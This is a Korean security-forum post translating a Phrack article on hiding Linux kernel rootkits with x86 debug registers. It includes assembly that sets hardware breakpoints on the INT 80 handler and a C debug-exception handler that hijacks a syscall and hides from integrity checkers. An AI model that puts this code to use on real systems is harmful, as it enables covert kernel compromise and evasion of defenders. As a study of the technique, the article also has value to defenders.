회원가입메일  
   
 
> 보안기술문서
이름 Level 10, 9500 Point bOBaNa 2008-04-23 19:50:18
제목 [Phrack] Mistifying the debugger for ultimate stealthness 번역




이번에 새로나온 65호 중 하나입니다.

허접하게 번역된 부분은 제 허접한 영어실력이 기인합니다..ㅋㅋ

죄송스럽습니다..^^;;

이해해주시고요, 틀린 부분 지적해주시면 바로 수정하겠습니다.


-----------------------------------------------------------------------------------------------------------

              ==Phrack Inc.==

               Volume 0x0c, Issue 0x41, Phile #0x08 of 0x0f


|=---------------------=[ Mistifying the debugger, ]=--------------------=|
|=---------------------=[   ultimate stealthness   ]=--------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ halfdead@phear.org ]=-----------------------=|


                                              번역 : bOBaNa(WOWHACKER.ORG)
                                                             E-mail : hackprog@korea.ac.kr
                                                                                               2008.4.23


--[ 소개

몇 년동안, 해킹된 시스템에서의 특정 프로그램의 존재를 숨기는 방법과 기법이
많아졌다. 이것들은 시스템 콜 테이블을 직접적으로 변조하는 방법에 집중되어
있었다. 또 다른 방법들은 인터럽트 핸들러를 수정하거나, VFS 레이어에서 운영하는
방법이었다. 그렇지만 이 모든것들은 운영체제 하에서 수정되어 매우 발견되기 쉽게
된다.

이 기사에서는 커널 루트킷의 궁극적인 은닉을 성공할 수 있는 방법에 대해
디버깅 메카니즘의 일반적인 x86 특징을 이용하여 제공할 것이다.
이 방법은 어떤 IA-32 호환 플랫폼에서도 동작하며, 다음의 기법은 리눅스 운영체제
에서 적용될 것이고, 어떻게 "고전적인" 후킹 타켓을 건드리지 않고 일반적인 실행
흐름을 가로챌 수 있는지 보여줄 것이다. 사실, 이 기법은 아무도 루트킷의 실재를
알지 못하기 때문에 더욱 좋을 수 있다.

이 기사에서 언급되는 "디버거"는 실제로 IA-32 디버깅 메카니즘을 의미하며, 이는
Ring 0에서만 접근가능하다. 사용자단(Userland) 디버거들은 이 메카니즘을 사용
하지 않으며, 오직 커널 디버거에서만 사용한다.


--[ 디버거

 "IA-32 아키텍쳐는 코드를 디버깅하고 코드 실행과 프로세서 퍼포먼스를
 모니터링하기 위해 확장적인 디버깅 설비를 제공한다. 이들 설비는 시스템
 소프트웨어, 멀티태스킹 운영체제와 같은 애플리케이션을 디버깅하기 위해
 존재한다."

개발자로서의 삶을 더 쉽게 하기 위해서, 인텔은 프로세스를 디버깅하는 것을 관리할
목적으로 한 메카니즘을 소개했다. 이 메카니즘은 사용자가 메모리 주소상에 하드웨어
브레이크포인트를 설정할 수 있게 해주는 특별한 레지스터(디버깅 레지스터라고 불리는
DR0..DR7)의 집합에 의해 다뤄진다. 이 메카니즘은 실행 흐름이 브레이크포인트로
마크된 주소로 도달하자마자 예외가 일어나는 실제 상황을 살피기 위해 do_debug() 함수
(../i386/kernel/traps.c에 정의되어 있다.)를 호출하는 디버그 인터럽트 핸들러(INT 1)로
제어를 넘긴다.

디버깅 서포트는 디버그 레지스터(DB0 ~ DB7)와 2개의 model-specific 레지스터(MSRs)를
통해 접근된다. 이 디버그 레지스터에만 집중하는 것이 이 문서의 목적이다.
이들 레지스터는 브레이크포인트라고 불리는 메모리의 주소와 I/O 위치를 저장한다.
브레이크포인트는 프로그램에서 사용자가 선택한 메모리에서의 데이터-저장 공간에 존재
하는 위치이며 디버거 소프트웨어를 불러옴으로써 프로세서의 상태를 검사하거나
프로그램의 실행을 정지시키게 하길 원하는 특정 I/O 포트들이다.

디버그 예외(#DB)는 메모리 혹은 I/O 접근이 이들 브레이크포인트 주소중 하나로
되었을 때 생성된다.

브레이크 포인트는 메모리 읽기 그리고/또는 쓰기 명령이나 I/O 읽기 그리고/또는
쓰기 명령과 같은 메모리 또는 I/O 의 특정 형태를 위해 지정된다. 디버거 레지스터는
명령어 브레이크포인트와 데이터 브레이크포인트 모두 제공한다. MSRs(P6 계열 프로세서
에서의 IA-32 아키텍쳐로 소개된)은 분기,인터럽트, 예외를 감시하며 마지막 분기,
인터럽트 혹은 예외가 일어난 주소를 기록한다. 그리고 마지막 분기는 인터럽트 혹은
예외가 일어나기 전의 마지막 분기(last branch)를 취한다.


--[ 디버그 레지스터

프로세서의 디버그 연산을 제어하는 8개의 디버그 레지스터가 인텔 프로세서에
의해 제공된다. 이들 레지스터들은 기록 될수 있고, MOV 명령어의 형태로 디버그
레지스터에서 move를 이용하여 읽을수도 있다. 디버그 레지스터는 이들 명령어 중
 하나를 위한 source operand 혹은 destination operand로 존재할 수 있다. 디버그
 레지스터는 자원 우선적이다. ; 이들 레지스터에 접근하는 MOV 명령어는 오직
 real-address 모드, SMM, CPL이 0인 보호 모드에서만 실행될 수 있다. 어느
다른 권한 레벨에 서부터 디버그 레지스터를 읽거나 쓰기를 시도하는 것은 일반적인
보호 예외를 발생시킨다.

디버그 레지스터의 주요한 기능은 0에서 3까지 숫자화된 1에서 4까지의 브레이크
포인트를 설정하고 감시하는 것이다. 디버그 메카니즘은 DR6, DR7 두 특별한 레지스터
를 통해 브레이크 포인트를 관리하게 해주며, 이는 후에 자세히 설명할 것이다.
각 브레이크포인트를 위해, 다음 정보는 디버그 레지스터를 이용해 기술되거나
탐지될 수 있다.:

 - 브레이크포인트가 일어나는 선형 주소.
 - 브레이크포인트 위치의 길이(1, 2, 혹은 4바이트).
 - 생성되기 위한 디버그 예외를 위한 주소에서 수행되어야하는 연산
 - 브레이크포인트가 가능한지 아닌지.
  - 디버그 예외가 생성되었을때 브레이크포인트 상태가 현시점이었는지
          아닌지.


-------[ 디버그 주소 레지스터

각 디버그-주소 레지스터(DR0-DR3)들은 브레이크포인트의 32비트 선형 주소를
가진다. 브레이크포인트 비교는 물리적인 주소 변환이 일어나기 전에 만들어진다.


-------[ 디버그 레지스터 DR4 and DR5

디버그 레지스터 DR4와 DR5는 디버그 확장이 가능해졌을 때(제어 레지스터 CR4의
내부에 DE 플래그가 설정된다) 예약되어 존재하며, 이들 레지스터를 참조하기 위해
시도할 때 잘못된-opcode 예외가 일어날 것이다. DE 플래그가 설정되어 있지 않을때,
이들 레지스터는 DR6와 DR7로 된다(aliased).


------[ 디버그 상태 레지스터 (DR6)

이 특별한 레지스터는 마지막으로 디버그 예외가 일어났을 그 시점에 존재하는
디버그 상태를 기록하기 위해 사용된다. 이 레지스터에서의 플래그는 다음
정보를 보여준다.:

 - B0..B3 (bits 0..3)은 브레이크포인트 상태가 탐지되었다는 것을
   나타낸다. 이들 플래그들은 각 브레이크포인트에 LENn에 의해 기술되고,
          디버그 제어 레지스터 DR7에서의 R/Wn 플래그들이 참이면 설정된다.
   비록 브레이크포인트가 레지스터 DR7에서 Ln과 Gn 플래그에 의해
   가능하지 않을 지라도 그것들은 설정된다.

 - BD (bit 13) (디버그 레지스터 접근 탐지)는 명령어 스트림에서의
   다음 명령어가 디버그 레지스터(DR0..DR7) 중 하나에 접근할 것이라는
          것을 나타낸다. 이 플래그는 디버그 제어 레지스터에서의 범용 탐지
          플래그(GD : General Detect)가 설정되었을때 가능하게 된다.

 - BS (bit 14) (single step)는 디버그 예외가 single-step 실행 모드에
   의해 유발되었다는 것을 나타낸다.(설정될때)

 - BT (bit 15) (작업 변환)은 디버그 예외가 타겟 작업의 TSS에서의
    디버그 트랩 플래그가 설정되어 있는 task switch로부터 결과가
   생기는 것을 나타낸다.(설정될때) 

프로세서는 절대로 DR6 레지스터의 내용을 삭제하지 않는다.


------[ 디버그 제어 레지스터 (DR7)

디버그 제어 레지스터(DR7)은 브레이크포인트와 브레이크포인트 상태를 설정하거나
설정할 수 없게 한다. 그 플레그와 필드는 다음의 것들을 제어한다:
 
 - L0..L3 (bits 0, 2, 4, 6) (로컬 브레이크포인트 가능)은 현재 작업에
   대해 조합된 브레이크포인트 상태를 사용가능하게 한다.(설정될때)
   브레이크포인트 상태가 탐지되고 그 조합된 Ln 플래그가 설정되었을때,
   디버그 예외가 생성된다. 프로세서는 원하지 않은 브레이크포인트 상태를
   피하기위해 변환하는 모든 작업에서이들 플래그를 자동적으로 깨끗히 한다.

 - G0..G3 (bits 1, 3, 5, 7) (전역 프레이크포인트 가능)은 모든 작업에 대해
   조합된 브레이크포인트 상태가 사용가능하게 한다.(설정될때) 브레이크포인트
     상태가 탐지되고 그 조합된 Gn 플래그가 설정되면, 디버그 예외는 일어난다.
   프로세서는 모든 작업에 대해 브레이크 포인트를 가능하게 하는 작업 변환에서
          이들 플래그를 깨끗히 하지 않는다.

 - LE와 GE (bits 8 and 9) (로컬, 전역 정확한 브레이크포인트 가능)는
   프로세서가 데이타 브레이크포인트 상태를 일으킨 정확한 명령어를 탐지
   하도록 야기한다. P6 계열 프로세서에서는 제공되지 않는다.

 - GD (bit 13) (범용 탐지 가능)는 디버그 레지스터에 접근하는 어떤 MOV 명령어
   에 우선하여 생성되는 디버그 예외를 일어키는 디버그 레지스터 보호를
   가능하게 한다.(설정될때) 그러한 상태가 탐지될 때, 디버그 상태 레지스터
     DR6의 BD 플래그는 예외를 생성하는 것에 앞서 설정된다. 

 - R/W0..R/W3 (bits 16, 17, 20, 21, 24, 25, 28, and 29) (read/write)
   는 브레이크 포인트에 대응하는 것에 대해 브레이크포인트 상태를 기술한다.
   더욱 다세한 정보를 위해 인텔 메뉴얼을 읽어라.
 
 - LEN0..LEN3 (bits 18, 19, 22, 23, 26, 27, 30, and 31) (길이)


--[ 마법

오케이, 지금 우리는 IA-32 디버깅 메카니즘에 대한 모든 것을 거의 배웠다.
당신이 약속했던 즐겁게 하는 곳은 어디인가? 지금 우리는 약간 중요한 것들을
알고 있다: 메모리 주소에 브레이크포인트를 설정할 수 있고 실행 흐름은 설정된
브레이크포인트에 도달하자마자 실행은 디버그 핸들러(INT 1)로 방향이 변경된다.
음, 그러면 존재하는 디버그 핸들러나 우리의 함수하에 있는 것 중 하나로 대체하면
어떨까? entry.S로 부터 볼 수 있듯이,

 ENTRY(debug)
        pushl $0
        pushl $ SYMBOL_NAME(do_debug)
        jmp error_code

실제 디버그 핸들러는 C 함수이며, do_debug()는 traps.c에 정의된다.

맞다, 오케이, 우리는 INT 1 핸들러를 패치할 수 있고, 그런 다음 do_debug()를
우리자신만의 위치에서 do_debug()를 호출하거나 우리자신만의 do_debug()를
꺼내고 디버그 핸들러에 의해 호출되기를 기대한다. 따라서, IDT를 건드리지
않을 수 있어서 안심이 된다. 그러나 우리의 핸들러가 무엇을 다뤄야하나?
분명한것은, 어느정도의 파라미터를 검사할 필요는 있으며, 그런 다음 실제
운영체제 do_debug()로 제어를 넘긴다. 그렇다면, 무슨 파라미터들은 감시해야
하나? 계속 읽어보시라...


------[ sys_call_table[]을 하이재킹하기

지금쯤 당신은 메모리의 목표된 타겟에서 읽기/쓰기/실행을 하기 위해서
syscall table을 어떻게 하이재킹할지 생각이 나야한다. 이것은 INT 80 핸들러 주소가
될 수도 있고 syscall table 주소가 될 수도 있으며, 결론적으로는 뭘 하든 비슷하다.
그러므로, 운영체제가 syscall로 향할때마다 그것은 우리의 핸들러에서 끝날 것이다.
여기서 우리는 두 옵션을 가진다:

A) IDT에서의 INT 80 핸들러를 직접적으로 하이제킹하거나
B) 메모리에서의 sys_call_table[]의 주소를 하이제킹하는 것이다.

이 둘 모두 우리의 목적과 적합하므로 A를 목표로 하겠다.
다음 함수는 INT 80 핸들러의 주소를 리턴할 것이다.

 get_idt_entry:
         sidt    idtr
         movl    idtr+2, %ebx
         leal    (%ebx, %eax, 8), %ebx
         movw    (%ebx), %cx
         roll    $16, %ecx
         movw    0x6(%ebx), %cx
         roll    $16, %ecx
         movl    %ecx, %eax
         ret

주소를 한번 알면, 다음과 같이 브레이크포인트를 설정할 수 있다:
 
 set_bpm:
         movl    $0x80, %eax
         call    get_idt_entry
         movl    %eax, %dr0
         xorl    %eax, %eax
         orl     $0x2080, %eax
         movl    %eax, %dr7
         ret

위에서 볼 수 있듯이, set_bpm() 함수는 INT 80이 위치한 메모리 주소와 함께
DR0를 불러올 것이며, 또한, 디버그 레지스터에 접근하는 WHY와 WH0를 감시할수
 있게 해주는 magic GD 비트를 포함하는 DR7의 플래그를 설정 할 것이다.
GD bit는 "그 어떤 디버그 레지스터에 접근하는 MOV 명령어에 우선하여 생성되는
 디버그 예외(exception)를 일으키기" 때문에 우리에게 있어 매우 중요하다.
와우, 의미는..? 그건 누군가 디버그 레지스터를 읽거나/쓰려고 한다면, 제어는
명령어가 "발생하기 전에" 우리의 핸들러로 넘어온다.
----------------------------------------------------------------------------
따라서, 디버거 혹은 악의적인 툴이 디버그 레지스터들을 검사한다는 것을
안다면, 디버가 혹은 악의적인 툴이 알기 전에
( So, we know if someone, a debugger or some tool of the devil, is checking
 the debug registers, even before they  know it.)
----------------------------------------------------------------------------
이것은 우리의 흔적을 알수 있게끔 시간을 준다: 우리는 모든것을 취소할 수 있고
단순히 디버그 레지스터 등에 영향을 주는 명령어를 건너뛰기 위해 약간 기다릴 수
있다. 이것을 하는 좋은 것은 디버그 레지스터들을 깨끗히 하는 시스템을 보여주고,
짧은 시간 뒤에 모든것을 뒤로 우리의 필요에 맞게 후킹하는 것이다.

최상의 접근은 디버그 레지스터들에 접근하는 명령어의 타입을 분석하는 코드 에뮬
레이터를 생각해내고 그걸 기반으로 하여 다음 행동을 결정하는 것이다:디버그
레지스터들을 깨끗히 하고 후에 복구시키거나 단순히 명령어 카운트를 증가시킨다.
그 결과 명령어는 간단히 무시된다. 어쨋든, 끝.


------[ 핸들러

지금까지, syscall table 혹은 INT 80 핸들러에서 어떤것도 패치하지 않고 실행
흐름을 변경하는 것을 다루었다. 그러나, 우리의 핸들러를 제어하기 위해서는
무엇을 해야 하는가? 의 문제는 여전히 남아있다. 시작하는 사람들을 위하여,
가장 단순화한 형태에서, 이시점에서 %eax 레지스터는 우리가 원하는 syscall
넘버를 가지기 때문에 우리의 핸들러는 %eax 레지스터의 값을 체크할 필요가 있
으며, 그것을 기반으로 우리의 해킹된 syscall을 OS에 넘겨야 한다.
다음이 가장 단순한 핸들러가 해야하는 것이다:

asmlinkage void new_do_debug(struct pt_regs * regs, long error_code)
{

   unsigned long condition;
 unsigned long mask = 0x2008;


  __asm__ __volatile__("movl %%db6,%0" : "=r" (condition));

   if (condition & BD_FLAG) { /* someone is r/w the registers */
            condition &= ~BD_FLAG;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
     regs->eip += 3;
     __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
        }
 
 if (condition & DR_TRAP0) {
            if (regs->eax == __NR_time)
         sys_call_table[__NR_time] = hacked_time;
    
            if (regs->eflags & VM_MASK) {
                (*old_do_debug)(regs,error_code);
                __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            }

            condition &= ~DR_TRAP0;
            __asm__ __volatile__ ("movl %0, %%db6" : : "r" (condition));
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
            regs->eflags |= X86_EFLAGS_RF;
        }
 else
 {
            (*old_do_debug)(regs, error_code);
            __asm__ __volatile__ ("movl %0, %%db7" : : "r" (mask));
 }

        return;
}

여기서 무엇을 하는가? 먼저, 상태 레지스터(DR6)에서 값을 잡고, 우리의
핸들러가 하고자 하는것을 발견하려고 노력해야 한다. 만약 우리의 실행이
우리가 자리잡았던 브레이크포인트의 결과로부터 온다면, 하이재킹하기로
결심했던 syscall의 값과 %eax 레지스터의 값을 비교한다.(우리의 경우
sys_time()이다) 제공된 예제에서, 시간과 공간의 부족으로, sys_call_table[]
을 직접적으로 변경했지만 hacked_time()은 sys_call_table[]을 변경시켜
실행되었던 인스턴트로 되돌리므로 걱정할 것이 아니다.

asmlinkage long hacked_time(int *tloc)
{
  sys_call_table[__NR_time] = original_time;
 printk("<1>WE changed it!!\n");
  return original_time(tloc);
}

물론, syscall table을 전부 건드리지 않고 하는 방법은 여러가지지만
hacked_time()이 sys_call_table[]의 값을 되돌린다는 한가지를 염두에 둬야한다.
hacked_time()이 하는것은 sys_call_table[]의 값으로 되돌리지만 실제 변화가
일어나는 것은 마이크로초보다 작기 때문에 문제가 될 수 없다.

더 좋은 방법은 syscall 넘버에 기반하여 우리의 핸들러가 %eax 레지스터의 값일때
syscall의 파라미터를 분석하는 것이다. 우리는 레지스터에 의해 간단히 가득찬
해킹된 파라미터를 줄 수 있었다.이 방법은 "가상의" syscall table을 만들것이고,
결국, 실제 syscall table을 건들 필요가 없다.

그래서, 지금 우리는 어떻게 메모리 주소에 브레이크포인트를 설정하는지, 어떻게
그 브레이크포인트를 가능하게 하는지를 배웠다; 우리는 또한 INT 80 핸들러,
syscall table 핸들러, syscall table 자체를 변조하지 않고 일반적인 실행 흐름을
하이제킹할 수 있다는 것을 배웠다. 맞다, 마법의 bit라고, 사랑스런 기술이라고
말할 수 있다. 그러나, 여전히 우리는 INT 1 핸들러를 수정하거나, 적어도
do_debug() 함수를 패치한다, 그래서 은닉은 아니다. 계속 읽어보시라...


---[ 눈가리개(Blindfold)

지금까지, 시스템의 제어를 가지고, 커널의 직접적인 변조를 아무도 탐지못하는
많은 아름다운 것들을 배웠다. 우리는 GD/BD 비트들에 대한 고마움으로 가득
채웠고, 누군가 디버깅 레지스터를 계속 주목한다면, 우리는 간단히 그들의
호기심을 무시한다(regs->eip +=3). 그러나, 누군가가 무결성(integrity)를 위해
IDT를 검사하길 원하면 어쩔것이고? 디버거나 유사한 툴이 INT 1에 있는 우리의
핸들러에 위치하기를 원하면 어쩔것인가? 잊었나? 물론 다음과 같다.

그렇지만 기다려라.. DR7와 DR7은 한번 더 구하기위해 온다. 우리가 필요한
것은 다음과 같다:

  - INT 1에서 당신의 핸들러를 설정한다
  - INT 80 주소에 대해 주시하도록 브레이크포인트를 설정한다
  - 당신의 핸들러의 주소를 주시하도록 두번째 브레이크포인트를 설정한다.

오, 잠깐! 그건 간단히 될 수 없어요. 맞다, 어렵다! 다음과 같이, 우리는
바라지 않는 주시에 대해 사실상 커널에 전부 영향을 주지 않는다.
우리의 이상적인 핸들러에서, 코드 에뮬레이터는 디버그 레지스터에 접근하려고
시도하는 명령어의 타입을 검사하거나 INT 80이나 INT 1과 적당한 행동을 넣은
브레이크포인트이다. 이미 그것이 INT 80을 하이제킹하는 하여야 하는것을 설명했고,
 INT 1에 대해서 얘기해보자. INT 1이나 do_debug() 함수에 두번째 브레이크포인트를
위치함으로써 누군가 우리가 수정했던 커널메모리에서의 유일한 영역을 읽으려 시도할
 때 직관적으로 확인한다. 최선의 방법은 원래대로 돌아가는 단일 주소를 만드는 것이다.

어떤 극악무도한 툴이 IDT에 있는 우리의 존재를 검사하려고 시도할때, 우리는
변조되지 않은 값을 그 극악무도한 툴에게 보여주는 것이다. (whitehat은 그것의
필요성을 생각하지 않을것이란 이유로 그와 같은 일을 하는 툴은 없다고 생각하지
않는다.)

이것은 "은닉" 모드이다. 그렇지만, 지금 우리가 커널에 대한 제어를 잃었나?
음, 그렇지 않다, 여전히 제어 내에 있다: 나노초후에 루트킷을 재설치할 수
있다. 따라서 그들이 우리를 관찰할 때마다 그들은 우리를 찾을 수 없다.
이것은 극악무도한 툴에게 있어 눈가리개이다. 이 기법은 디버거(혹은 유사한 툴)
가 INT 1 핸들러에서 그 자신의 hook을 위치시키려고 할 때 또한 유용하다.
그것에 대해 생각하라: 우리가 수정했던 커널메모리에서의 유일한 영역을 읽으려
하는 시도를 탐지하고 모든것을 원래대로 되돌린다. 디버거는 그들의 hook을
위치하고, 그들이 그들의 존재를 검사하자마자 우리는 그들의 hook을 일반적인
INT 1로서 하이제킹한다, 예를들어, 핸들러의 존재를 검사하는 것으로서 우리는
그들 자신을 보게 한다. 그것은 연쇄(chining) 후킹과 비슷하거나 맞을거다.
내가 이것을 발견했을때, 나는 깜짝 놀랐고 정말로 이것이 작동되는 것을 실감했
을때 나는 경악했었다. 이것은 궁극적인 은닉이며, 해커들의 성배이다.


---[ 끝내는 말.

이 기법은 지금까지 8년 넘게 활발히 사용되었다. 기법에 대한 아름다움은 사실,
기초적인 IA-32 특징이다. IA-32는 디버그 메카니즘 전체를 삭제하지 않고서는
이 기법을 방어할 수 없다. 나는 프렉의 "과학적인" 문서 *g*를 통해서 이 기법을
알리기로 결정했지만, 해당 기법이 그 동안 새고 있었다는 것은 내 선택이 아니었다.
나는 이 기법을 누출시킨 사람도 확실히 그의 툴이 실제로 수용할 수 있는 것과
실제로 하는 것을 알고 있는지 의심스러웠기 때문에 자신의 스킬을 향상시키기
위해 배우고 있는 다른 해커들과 그에게 도움을 청하기로 결정했다.

앞서 보았듯이, 이건 매우 강력한 기법이며, 타겟 시스템에 대한 완전한 은닉이
가능케 한다. 기본적인 프로세서 특징이 존재한다는 것은 더이상 이 기법이 제로
데이가 아닐 지라도 IA-32에서 작동하는 "어떤" 운영체제에서도 사용 될 수 있다는
의미이다. ;(


---[ Kudos

halvar, twiz, reverser, sd and the rest of the digitalnerds

ccl
 

Level 14, 20240 Point hinehong

바나 올렸구나.ㅎ 

 2008.04.24 00:52

 

Level 1, 135 Point recrack

굳입니다.!

 2008.04.29 15:00

 

목록
6 해커 지망생이 알아야할 BOF 기초 [4]  Level 9, 8010 Point 광주아이 2008.04.30 57990
5 Window Syscall Shellcode  Level 12, 13740 Point Secret 2008.04.30 53991
4 와우해커에서 작성한 문서들이 올라오는 곳 [6]  Level 12, 13740 Point Secret 2008.04.29 39785
3 [Phrack] Mistifying the d.. [3]  Level 10, 9500 Point bOBaNa 2008.04.23 45451
2 와우해커 코드게이트 해킹 대회 2008 예선 .. [8]  Level 12, 13740 Point Secret 2008.04.20 50988
1 Linux kernel 2.6.x 커널을 사용.. [3]  Level 0, 50 Point 단군 2008.04.13 50421
  • 1
  • 2